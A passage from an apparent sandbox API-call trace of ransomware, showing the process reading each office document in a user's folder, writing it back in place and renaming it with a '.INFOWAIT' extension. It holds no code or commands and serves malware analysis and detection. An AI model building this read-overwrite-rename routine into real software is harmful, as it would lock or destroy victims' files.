lpDistanceToMoveHigh=0x0) returned 0x0 [0118.859] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x32e8, lpOverlapped=0x0) returned 1 [0118.863] VirtualAlloc (lpAddress=0x0, dwSize=0x32e8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.864] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.864] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x32e8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x32e8, lpOverlapped=0x0) returned 1 [0118.865] CloseHandle (hObject=0xad4) returned 1 [0118.868] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\3-Cn.ods" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\3-Cn.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\3-Cn.ods" [0118.869] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\3-Cn.ods", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\3-Cn.ods.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\3-Cn.ods.INFOWAIT" [0118.869] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\3-Cn.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\snwh\\3-cn.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\3-Cn.ods.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\snwh\\3-cn.ods.infowait")) returned 1 [0118.883] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.884] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.884] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\Ukc9zVsmz.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\ukc9zvsmz.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.885] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xca8d [0118.886] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.886] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.886] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xca8d, lpOverlapped=0x0) returned 1 [0118.891] VirtualAlloc (lpAddress=0x0, dwSize=0xca8d, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.896] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.896] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xca8d, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xca8d, lpOverlapped=0x0) returned 1 [0118.897] CloseHandle (hObject=0xad4) returned 1 [0118.898] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\Ukc9zVsmz.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\Ukc9zVsmz.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\Ukc9zVsmz.xlsx" [0118.898] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\Ukc9zVsmz.xlsx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\Ukc9zVsmz.xlsx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\Ukc9zVsmz.xlsx.INFOWAIT" [0118.898] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\Ukc9zVsmz.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\ukc9zvsmz.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\Ukc9zVsmz.xlsx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\ukc9zvsmz.xlsx.infowait")) returned 1 [0118.899] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.900] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.901] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\C0QT-PiM3F.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\c0qt-pim3f.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.902] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x281e [0118.902] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.902] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.903] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x281e, lpOverlapped=0x0) returned 1 [0118.914] VirtualAlloc (lpAddress=0x0, dwSize=0x281e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.915] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.915] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x281e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x281e, lpOverlapped=0x0) returned 1 [0118.915] CloseHandle (hObject=0xad4) returned 1 [0118.918] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\C0QT-PiM3F.pps" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\C0QT-PiM3F.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\C0QT-PiM3F.pps" [0118.918] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\C0QT-PiM3F.pps", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\C0QT-PiM3F.pps.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\C0QT-PiM3F.pps.INFOWAIT" [0118.918] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\C0QT-PiM3F.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\c0qt-pim3f.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\C0QT-PiM3F.pps.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\c0qt-pim3f.pps.infowait")) returned 1 [0118.919] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.920] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.921] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\6qkqye2rCRGlE5P.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\6qkqye2rcrgle5p.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.921] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf7d8 [0118.921] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.921] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.921] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xf7d8, lpOverlapped=0x0) returned 1 [0118.927] VirtualAlloc (lpAddress=0x0, dwSize=0xf7d8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.933] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.933] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xf7d8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xf7d8, lpOverlapped=0x0) returned 1 [0118.933] CloseHandle (hObject=0xad4) returned 1 [0118.936] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\6qkqye2rCRGlE5P.ppt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\6qkqye2rCRGlE5P.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\6qkqye2rCRGlE5P.ppt" [0118.936] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\6qkqye2rCRGlE5P.ppt", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\6qkqye2rCRGlE5P.ppt.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\6qkqye2rCRGlE5P.ppt.INFOWAIT" [0118.937] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\6qkqye2rCRGlE5P.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\6qkqye2rcrgle5p.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\6qkqye2rCRGlE5P.ppt.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\6qkqye2rcrgle5p.ppt.infowait")) returned 1 [0118.937] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.938] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.939] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\d8R9rMlCN.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\d8r9rmlcn.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.940] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x247a [0118.940] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.940] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.940] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x247a, lpOverlapped=0x0) returned 1 [0118.944] VirtualAlloc (lpAddress=0x0, dwSize=0x247a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.945] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.945] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x247a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x247a, lpOverlapped=0x0) returned 1 [0118.945] CloseHandle (hObject=0xad4) returned 1 [0118.946] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\d8R9rMlCN.odp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\d8R9rMlCN.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\d8R9rMlCN.odp" [0118.946] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\d8R9rMlCN.odp", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\d8R9rMlCN.odp.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\d8R9rMlCN.odp.INFOWAIT" [0118.946] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\d8R9rMlCN.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\d8r9rmlcn.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\d8R9rMlCN.odp.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\d8r9rmlcn.odp.infowait")) returned 1 [0118.948] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.949] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.949] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FIhr5H47kz.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\fihr5h47kz.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.954] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe3f9 [0118.954] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.954] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.954] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe3f9, lpOverlapped=0x0) returned 1 [0118.958] VirtualAlloc (lpAddress=0x0, dwSize=0xe3f9, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.963] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.963] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe3f9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe3f9, lpOverlapped=0x0) returned 1 [0118.963] CloseHandle (hObject=0xad4) returned 1 [0118.966] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FIhr5H47kz.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FIhr5H47kz.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FIhr5H47kz.pptx" [0118.966] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FIhr5H47kz.pptx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FIhr5H47kz.pptx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FIhr5H47kz.pptx.INFOWAIT" [0118.966] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FIhr5H47kz.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\fihr5h47kz.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FIhr5H47kz.pptx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\fihr5h47kz.pptx.infowait")) returned 1 [0118.967] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.968] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.969] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\4aIc13i42g6djkDS.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\fiwjplfcbqk4eudei\\4aic13i42g6djkds.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.970] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4aaa [0118.970] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.970] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.970] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4aaa, lpOverlapped=0x0) returned 1 [0118.974] VirtualAlloc (lpAddress=0x0, dwSize=0x4aaa, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.976] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.976] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4aaa, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4aaa, lpOverlapped=0x0) returned 1 [0118.976] CloseHandle (hObject=0xad4) returned 1 [0118.978] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\4aIc13i42g6djkDS.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\4aIc13i42g6djkDS.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\4aIc13i42g6djkDS.docx" [0118.978] 